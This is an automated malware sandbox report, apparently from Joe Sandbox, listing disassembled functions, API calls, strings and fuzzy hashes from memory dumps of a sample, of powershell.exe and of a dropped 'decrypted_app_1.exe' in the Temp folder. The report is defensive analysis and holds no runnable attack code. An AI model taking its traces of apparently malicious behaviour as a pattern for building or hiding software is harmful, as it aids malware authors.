Function 009EC5B0 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 217stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(B51BAACD,89ECF510,03351CF0,00000000,?), ref: 009EC5F8
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,.ctor,?,?,00000000,00000000), ref: 009EC7CF
HeapFree.KERNEL32(00000000,?,00000000,00000000), ref: 009EC827

Strings

.ctor, xrefs: 009EC7C9

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHeapstrcmpstrlen
String ID: .ctor
API String ID: 798547140-2664864097
Opcode ID: 4efcb2ef1254e6cd11e4ed5bf1b1bf8e61f73d148ff79286b90c04fb59c506ae
Instruction ID: b95023a747928063d82f92bfb87253921db14ab3b10e2a54c049338561e8216b
Opcode Fuzzy Hash: 4efcb2ef1254e6cd11e4ed5bf1b1bf8e61f73d148ff79286b90c04fb59c506ae
Instruction Fuzzy Hash: BC81E1B1A0024A9FDF12CF6AC984BAEBBB9FF44754F144029E955E7290DB35DD02CB90

Function 00B2F4E0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?), ref: 00B2F6A4

Part of subcall function 0096E280: HeapFree.KERNEL32(00000000,?,?,89ECF510,?,?), ref: 0096E328

Strings

Contract details: , xrefs: 00B2F672
Message: , xrefs: 00B2F58A
Exception Info: , xrefs: 00B2F5F5

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHeap
String ID: Contract details: $Exception Info: $Message:
API String ID: 3298025750-1860525982
Opcode ID: f47653d715685dd434c07ee337484245f0c729ec9cfbdb8f2e86e8486cf570d5
Instruction ID: 5ffb85d87d9969faff0fe1341a3e15ac7f2fc02d8ca6c8aef4ee321e987bb0b9
Opcode Fuzzy Hash: f47653d715685dd434c07ee337484245f0c729ec9cfbdb8f2e86e8486cf570d5
Instruction Fuzzy Hash: 77516DB0D01218DBDB10DFA4E995BAEBBF4FF04704F104179E409E7290E7756A08CB51

Function 00A81A60 Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 00A81AF3
ResetEvent.KERNEL32(0334B660), ref: 00A81B07
SetEvent.KERNEL32(0334B520), ref: 00A81B14
GetTickCount64.KERNEL32 ref: 00A81B3F

Part of subcall function 00B59110: LeaveCriticalSection.KERNEL32(?,?,00A81AB7,?,00000000), ref: 00B591FB

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Count64EventTick$CriticalLeaveResetSection
String ID:
API String ID: 4175615951-0
Opcode ID: 3acbee7660c046f4efd73952f3ad5f06544fddb53c2f875ddc28dfdbe51da7b8
Instruction ID: 2d92a057969cc66195072344f4bc0867779f5d023c0db5dbe85450bc909da615
Opcode Fuzzy Hash: 3acbee7660c046f4efd73952f3ad5f06544fddb53c2f875ddc28dfdbe51da7b8
Instruction Fuzzy Hash: 1A411735600604EFDB24BF68D84DBA9F7B8FB41764F148359E828977E0D7756845CB80

Function 009B74A0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 211COMMON

Download Yara Rule

APIs

Part of subcall function 00BC1F60: GetProcessHeap.KERNEL32(?,00BC55DA,0000000C,89ECF510,?,00000002,?,?,00E364B4,000000FF,?,00BD051E,?,00000002,?,89ECF510), ref: 00BC1F6C
Part of subcall function 00BC1F60: RtlAllocateHeap.NTDLL(03310000,00000000,00000002,?,00BC55DA,0000000C,89ECF510,?,00000002,?,?,00E364B4,000000FF,?,00BD051E,?), ref: 00BC1F8A

Part of subcall function 0096F6D0: wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,00000004,00000000,89ECF510,00000000,?), ref: 0096F75C

Part of subcall function 00E3343B: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00E3349B

_swprintf.LIBCMT ref: 009B7699

Strings

NotSupported_COM, xrefs: 009B74E8
EX_THROW Type = 0x%x HR = 0x%x, line %d, xrefs: 009B755B, 009B7621

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Heap$AllocateExceptionProcessRaise_swprintfwcscpy_s
String ID: EX_THROW Type = 0x%x HR = 0x%x, line %d$NotSupported_COM
API String ID: 1866756249-3167800334
Opcode ID: 74730beed782d7cb7e6c37e9fd78eae761be5a3b02e375da2a97c7de2a1e2e45
Instruction ID: f6694752b4c7e911c0943d546c8ab72ec09f1292f63db43859c2f6f6f89137d3
Opcode Fuzzy Hash: 74730beed782d7cb7e6c37e9fd78eae761be5a3b02e375da2a97c7de2a1e2e45
Instruction Fuzzy Hash: 9251D9B1A00609ABDB10EFA5CD45FEFBBB9EF84710F100519F915B72D1EB749A018B91

Function 00A20D00 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 203threadCOMMON

Download Yara Rule

APIs

SleepEx.KERNEL32(00000001,00000000,89ECF510,?,?,0000002C), ref: 00A20EA2
SwitchToThread.KERNEL32(89ECF510,?,?,0000002C), ref: 00A20EA8

Strings

h/6N9OqHRCp8e05wQTEILsy03MIZYLgmX+1Nm5yFWKSGu2Y9OuY/kGhDwR/OTFgBAcKRqo5Q6zQI5Bs0pjOsfKub1vrEMCEtGWOADYee38q/56rU0NE3xQNdVn2LCE+D5v, xrefs: 00A20E1A

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: SleepSwitchThread
String ID: h/6N9OqHRCp8e05wQTEILsy03MIZYLgmX+1Nm5yFWKSGu2Y9OuY/kGhDwR/OTFgBAcKRqo5Q6zQI5Bs0pjOsfKub1vrEMCEtGWOADYee38q/56rU0NE3xQNdVn2LCE+D5v
API String ID: 4026552692-2190612264
Opcode ID: 0634ee51cb094262197d1f8441b82aae8b73eb9c2be4a9edd0bee375227ba345
Instruction ID: 169b29a77cea95864b928ff7df0a6839886219cd01e95c30f362d01511b06734
Opcode Fuzzy Hash: 0634ee51cb094262197d1f8441b82aae8b73eb9c2be4a9edd0bee375227ba345
Instruction Fuzzy Hash: 6781B070A01229CFDB24CF5CE684BAAB7F1EB44314F25857DE859AB792D735A881CB40

Function 00BFBE50 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111synchronizationthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00BFBF33
WaitForSingleObject.KERNEL32(0000020C,000000FF), ref: 00BFBF5E

Part of subcall function 00BE2930: LeaveCriticalSection.KERNEL32(0336D524,00000000,0336D500,00BFBF8E), ref: 00BE2941
Part of subcall function 00BE2930: SleepEx.KERNEL32(000000FF,00000000), ref: 00BE2989

Strings

Debugger Thread spinning up, xrefs: 00BFBEC4

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: CriticalCurrentLeaveObjectSectionSingleSleepThreadWait
String ID: Debugger Thread spinning up
API String ID: 349386733-1813501511
Opcode ID: ecd1a111d3a6c6c69dd4614d10d0e23ad35ab3ff92ac606075731da9a1c68df3
Instruction ID: e2727d7d6b741e3839d4f10ce1d04e3d04c9bad733fabe9366374f3c38fec852
Opcode Fuzzy Hash: ecd1a111d3a6c6c69dd4614d10d0e23ad35ab3ff92ac606075731da9a1c68df3
Instruction Fuzzy Hash: 9041F271900248DEDB20DF79C946BBAFBF9EF44310F1046AAEA25972D2DB749908CB11

Function 00A36850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42filestringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(Fatal error. ,00000000,?), ref: 00A3685E
WriteFile.KERNEL32(?,Fatal error. ,00007FFF,?,00000000), ref: 00A36893

Strings

Fatal error. , xrefs: 00A3685D, 00A36891

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FileWritestrlen
String ID: Fatal error.
API String ID: 672350951-2319153378
Opcode ID: eb2a69463345cc0af8cd7e5ef9f1c44ecbc7102d3394374c7ba089bab96a73ea
Instruction ID: 307a9e7d9306528524a93d443187bc2960785f2bdf7a094d7360085a3a5e1ecf
Opcode Fuzzy Hash: eb2a69463345cc0af8cd7e5ef9f1c44ecbc7102d3394374c7ba089bab96a73ea
Instruction Fuzzy Hash: B1F09075A002147BCB2087AADD8CD6ABBAC9F88B61F194274FC0CD3280EA309D4496A1

Function 00A25E70 Relevance: 5.2, APIs: 4, Instructions: 233memoryCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 00A25F23
HeapFree.KERNEL32(00000000,?), ref: 00A25F9B
HeapFree.KERNEL32(00000000,?,?), ref: 00A260F5
LeaveCriticalSection.KERNEL32(00FC30BC,?,?,?,?,?,?,?,?,?), ref: 00A26124

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHeap$CloseCriticalHandleLeaveSection
String ID:
API String ID: 1789390409-0
Opcode ID: 68984557ddcaa12df4db984ce7fb32b7754b1c9993ed021660896bf0afa623dc
Instruction ID: 95833025adf4bc304451d28d435d1e107fabe099887f257ad53ae7eb20010192
Opcode Fuzzy Hash: 68984557ddcaa12df4db984ce7fb32b7754b1c9993ed021660896bf0afa623dc
Instruction Fuzzy Hash: 4191B370641224DFDB14DF28ED85BAA77A4BF05750F0841B8EC09AF3E6DB74A904DBA1

Analysis Process: powershell.exePID: 1196, Parent PID: 6556COMMON

Executed Functions

Function 07500860 Relevance: 12.0, Strings: 9, Instructions: 716COMMON

Download Yara Rule

Strings

$dq, xrefs: 07500898
$dq, xrefs: 075008A4
4'dq, xrefs: 07500CF0
tPdq, xrefs: 075008DD
4'dq, xrefs: 07500E40
$dq, xrefs: 07500872
4'dq, xrefs: 07500CE6
4'dq, xrefs: 07500E4A
tPdq, xrefs: 075008E9

Memory Dump Source

Source File: 00000004.00000002.1923963863.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7500000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$4'dq$4'dq$tPdq$tPdq$$dq$$dq$$dq
API String ID: 0-472320396
Opcode ID: 027f263bfc14e8687335cd0045a3abaf36f3c92d440cb3f68f5eeaadc4c2c8c7
Instruction ID: a9cd554771deaefd409239c4e9225ef9e10a14e3e98e9f548f04fd4ab84925eb
Opcode Fuzzy Hash: 027f263bfc14e8687335cd0045a3abaf36f3c92d440cb3f68f5eeaadc4c2c8c7
Instruction Fuzzy Hash: DC3246B27043458FDB259B6894117AABBA2BF81311F2484BBD949CF2D2DF36D841C7E1

Function 04683FA0 Relevance: .7, Instructions: 715COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1921272636.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 100b8bf5ef33f07e6864d79282fa7672501c9d833b58d292717b7cac8c972ebb
Instruction ID: d5c563a13d15242e7c52c2e00b260432288b0a9aed01f0d73a97d93650bb2a0e
Opcode Fuzzy Hash: 100b8bf5ef33f07e6864d79282fa7672501c9d833b58d292717b7cac8c972ebb
Instruction Fuzzy Hash: DD525D74A002199FCB05DF98C494AAEFBB1FF48310F258659E955AB361EB35FC81CB90

Function 04684199 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1921272636.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee4014990bb4fd330bab4709fbf46828e762441fecd50d7f4bb0bfaa912e489d
Instruction ID: 076be97326aaec49752c9bdb3c3dca0ac1606c872f8752ce4736810d3113e87c
Opcode Fuzzy Hash: ee4014990bb4fd330bab4709fbf46828e762441fecd50d7f4bb0bfaa912e489d
Instruction Fuzzy Hash: A6416A74A041068FCB06CF99C4E49AEFBB1FF48310B15865AD911AB361E732FC50CBA4

Function 04683010 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1921272636.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d27d2d180c37a7c16565cf19eda023b834c732a25d31475fda32fe0821b5b3dc
Instruction ID: 0d48ff34f49eb5b0cebbc64ec279336101b933ad116a76058cb4f49b24d41b08
Opcode Fuzzy Hash: d27d2d180c37a7c16565cf19eda023b834c732a25d31475fda32fe0821b5b3dc
Instruction Fuzzy Hash: C3215EB4A042198FCB01DF9CC4809AEBBF1FF89300B14859AD919EB352D735ED41CBA1

Function 02C3D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1920616984.0000000002C3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c3d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e41b7b48603718a206e72bd010c2a52501df92de6eb2433a9eb76f27e827228
Instruction ID: 8a3d96612b88fb777cf4c43f7db82696a6d68c254524cafcc26a5624ac80e611
Opcode Fuzzy Hash: 0e41b7b48603718a206e72bd010c2a52501df92de6eb2433a9eb76f27e827228
Instruction Fuzzy Hash: F3014C6200E3C09EE7138B258894B52BFB4DF57624F1DC4DBD8898F1A3C2695849C7B2

Function 02C3D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1920616984.0000000002C3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c3d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac5a605351ba3922dd713189ea31785db1f0f955af776bdd7c15a5507fbcdc25
Instruction ID: fcc5b3c600c96b55c07d8758f75798c31096659abfba5290d86a79a42f7eaf5f
Opcode Fuzzy Hash: ac5a605351ba3922dd713189ea31785db1f0f955af776bdd7c15a5507fbcdc25
Instruction Fuzzy Hash: 81012B714043449AE7124A26CCC4B67BFD8DF91725F08CC1AEC1A0B242C7789941CBF1

Non-executed Functions

Function 07500148 Relevance: 10.3, Strings: 8, Instructions: 311COMMON

Download Yara Rule

Strings

#j, xrefs: 07500217
4'dq, xrefs: 07500257
tPdq, xrefs: 075003A1
tPdq, xrefs: 07500395
$dq, xrefs: 0750035C
$dq, xrefs: 07500350
$dq, xrefs: 0750032A
4'dq, xrefs: 0750024B

Memory Dump Source

Source File: 00000004.00000002.1923963863.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7500000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$tPdq$tPdq$#j$$dq$$dq$$dq
API String ID: 0-909236109
Opcode ID: fd70d98ebe4ff92c765246e8dd3a8f4f37a35bbd8283f821ac1621cbe824208f
Instruction ID: ee097a4e3da852f5acddbff99d523d058654292b884d0f78aa806fabfa61eab8
Opcode Fuzzy Hash: fd70d98ebe4ff92c765246e8dd3a8f4f37a35bbd8283f821ac1621cbe824208f
Instruction Fuzzy Hash: B7A137B2704356CFD7258A7998107BABBE2BFC6211B18847BD949CB2D1DE36C841C7E1

Function 07500508 Relevance: 6.5, Strings: 5, Instructions: 260COMMON

Download Yara Rule

Strings

tPdq, xrefs: 07500767
$j, xrefs: 075005D7
4'dq, xrefs: 07500610
tPdq, xrefs: 0750075B
4'dq, xrefs: 07500606

Memory Dump Source

Source File: 00000004.00000002.1923963863.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7500000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$tPdq$tPdq$$j
API String ID: 0-4078206917
Opcode ID: 13a5d43cad6e4f76363de06ec274c5a73d2c34e183db6e4f8e405bb4b27537a4
Instruction ID: 3c0215402d9b1f589be0c38421765a97f26d6301386df76efa74a0244a3761f9
Opcode Fuzzy Hash: 13a5d43cad6e4f76363de06ec274c5a73d2c34e183db6e4f8e405bb4b27537a4
Instruction Fuzzy Hash: EE8133B1B143168FDB249A6884057BA7BA2BFC2311F24846BD909CB2D1DF79D841C7E1

Function 07502428 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$dq, xrefs: 07502490
$dq, xrefs: 07502456
$dq, xrefs: 0750243A
$dq, xrefs: 07502484

Memory Dump Source

Source File: 00000004.00000002.1923963863.0000000007500000.00000040.00000800.00020000.00000000.sdmp, Offset: 07500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7500000_powershell.jbxd

Similarity

API ID:
String ID: $dq$$dq$$dq$$dq
API String ID: 0-185584874
Opcode ID: 84092a362a7d78a1f43842ef7e0434f3a897dfc14e9650a700b734f98f2eb645
Instruction ID: 8701d5f6e159143af07c48e8f4db3826563137266c5ea2b176c946a5d663e8ef
Opcode Fuzzy Hash: 84092a362a7d78a1f43842ef7e0434f3a897dfc14e9650a700b734f98f2eb645
Instruction Fuzzy Hash: F42149B1B103065BDB3459299819767BBDBBBC5315F24C43BE909DB2C1DD35D84183A1

Analysis Process: decrypted_app_1.exePID: 2896, Parent PID: 6556COMMON

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	14
Total number of Limit Nodes:	1

Executed Functions

Function 03006933 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0300696B

Part of subcall function 03001141: LoadLibraryA.KERNEL32(NTDLL,?), ref: 03001209

CloseHandle.KERNELBASE(00000000), ref: 0300699C

Strings

C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe, xrefs: 03006966

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID: CloseCreateFileHandleLibraryLoad
String ID: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe
API String ID: 2506845977-2953756688
Opcode ID: 83e725cd562268ad12f6d2cfdd1a9572dd71aced7b63fa7a8e45f08d7a098cf6
Instruction ID: bad207f3b57d824c23b95d9d30878457bdcd952011ca939f6b0fa832b1473d4b
Opcode Fuzzy Hash: 83e725cd562268ad12f6d2cfdd1a9572dd71aced7b63fa7a8e45f08d7a098cf6
Instruction Fuzzy Hash: 0711E53520320CBFEB29EB69DC82FAA7795FBD0720F184114F915AB1E0CA74A9248750

Function 030068D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0300696B
CloseHandle.KERNELBASE(00000000), ref: 0300699C

Strings

C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe, xrefs: 03006966

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

